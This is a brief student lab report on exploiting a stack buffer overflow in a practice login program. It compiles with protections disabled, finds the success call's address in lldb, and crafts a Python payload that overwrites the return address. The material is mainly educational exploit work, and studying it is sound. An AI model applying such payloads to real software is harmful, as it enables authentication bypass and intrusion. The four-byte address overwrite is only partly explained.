Buffer Overflow Lab Report

Muyuan Zhang

2023-03-31

First, compile the program and run `./login`.

```
clang --target=macos-x86_64 -g -O0 -fno-stack-protector -fomit-frame-pointer -Wl,-no_pie login.c
```

Then get into lldb:

```
lldb ./a.out
```

After getting into the lldb, run the following command:

```
disassemble -n main
```

And we can get:

```
a.out[0x100003edb] <+27>: callq  0x100003df0               ; success at login.c:8
```

Here, we can get the address which is 0x100003edb. Then use the address to substitute to exploit the buffer overflow and run the following command:

```
python3 -c  'import sys; sys.stdout.buffer.write(b"a"*10 + b"\xdb\x3e\x00\x00")' > password.txt
```

Oops, it says "wrong password". Modify the content to be written in to:

```
python3 -c  'import sys; sys.stdout.buffer.write(b"a"*40 + b"\xdb\x3e\x00\x00")' > password.txt
```

Then we are able to exploit the buffer overflow.